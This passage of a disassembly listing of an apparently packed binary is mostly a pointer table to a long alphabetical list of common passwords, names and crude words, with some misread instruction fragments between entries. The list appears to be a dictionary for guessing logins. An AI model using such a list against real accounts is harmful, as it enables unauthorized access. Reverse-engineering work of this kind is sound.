		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
; ---------------------------------------------------------------------------
		clc
		jmp	short loc_429BB5
; ---------------------------------------------------------------------------
		align 4
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
; ---------------------------------------------------------------------------
		fsubr	st, st(3)
		inc	edx
		add	ah, cl
		jmp	short loc_429BC9
; ---------------------------------------------------------------------------
		align 4
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
; ---------------------------------------------------------------------------
		lodsb
		jmp	short loc_429BD5
; ---------------------------------------------------------------------------
		align 4
		movsb
		jmp	short loc_429BD9
; ---------------------------------------------------------------------------
		align 4
		pushf
		jmp	short loc_429BDD
; ---------------------------------------------------------------------------
		align 4
		xchg	eax, esp
		jmp	short loc_429BE1
; ---------------------------------------------------------------------------
		align 10h
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		db 64h
; ---------------------------------------------------------------------------


loc_429BB5:				; CODE XREF: .nsp0:00429B71j
		jmp	short loc_429BF9
; ---------------------------------------------------------------------------
		align 4
		dd offset aFeds		; "feds"
; ---------------------------------------------------------------------------
		push	esp
		jmp	short loc_429C01
; ---------------------------------------------------------------------------
		align 10h
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		db 3Ch
; ---------------------------------------------------------------------------


loc_429BC9:				; CODE XREF: .nsp0:00429B85j
		jmp	short loc_429C0D
; ---------------------------------------------------------------------------
		align 4
		xor	bl, ch
		inc	edx
		add	[eax], ch
		jmp	short near ptr byte_429C15
; ---------------------------------------------------------------------------
		align 4
		db 20h
; ---------------------------------------------------------------------------


loc_429BD5:				; CODE XREF: .nsp0:00429B91j
		jmp	short loc_429C19
; ---------------------------------------------------------------------------
		align 4
		db 18h
; ---------------------------------------------------------------------------


loc_429BD9:				; CODE XREF: .nsp0:00429B95j
		jmp	short near ptr loc_429C19+4
; ---------------------------------------------------------------------------
		align 4
		db 10h
; ---------------------------------------------------------------------------


loc_429BDD:				; CODE XREF: .nsp0:00429B99j
		jmp	short loc_429C21
; ---------------------------------------------------------------------------
		align 10h
		db 8
; ---------------------------------------------------------------------------


loc_429BE1:				; CODE XREF: .nsp0:00429B9Dj
		jmp	short near ptr loc_429C21+4
; ---------------------------------------------------------------------------
		align 4
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
; ---------------------------------------------------------------------------
		fsub	st(2), st
		inc	edx
		add	ah, dl


loc_429BF9:				; CODE XREF: .nsp0:loc_429BB5j
		jmp	far ptr	42h:0EACC0042h
; ---------------------------------------------------------------------------
		db 0C4h
; ---------------------------------------------------------------------------


loc_429C01:				; CODE XREF: .nsp0:00429BBDj
		jmp	far ptr	42h:0EABC0042h
; ---------------------------------------------------------------------------
		dd offset aFoolproo	; "foolproo"
; ---------------------------------------------------------------------------
		movsb


loc_429C0D:				; CODE XREF: .nsp0:loc_429BC9j
		jmp	far ptr	42h:0EA9C0042h
; ---------------------------------------------------------------------------
		db 94h
byte_429C15	db 0EAh, 42h, 0		; CODE XREF: .nsp0:00429BD1j
		db 88h
; ---------------------------------------------------------------------------


loc_429C19:				; CODE XREF: .nsp0:loc_429BD5j
					; .nsp0:loc_429BD9j
		jmp	far ptr	42h:0EA800042h
; ---------------------------------------------------------------------------
		db 78h
; ---------------------------------------------------------------------------


loc_429C21:				; CODE XREF: .nsp0:loc_429BDDj
					; .nsp0:loc_429BE1j
		jmp	far ptr	42h:0EA700042h
; ---------------------------------------------------------------------------
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp		; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom_0	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		db 0D0h, 0D1h, 42h
; ---------------------------------------------------------------------------


loc_42A767:				; CODE XREF: .nsp0:0042A794j
		add	al, cl
		rol	dword ptr [edx+0], 1
		rcl	cl, 42h
		add	[eax-4FFFBD2Fh], bh
		rol	dword ptr [edx+0], 1
		test	al, 0D1h
		inc	edx
		add	[eax-67FFBD2Fh], ah
		rol	dword ptr [edx+0], 1
		nop
		rol	dword ptr [edx+0], 1
		mov	cl, dl
		inc	edx
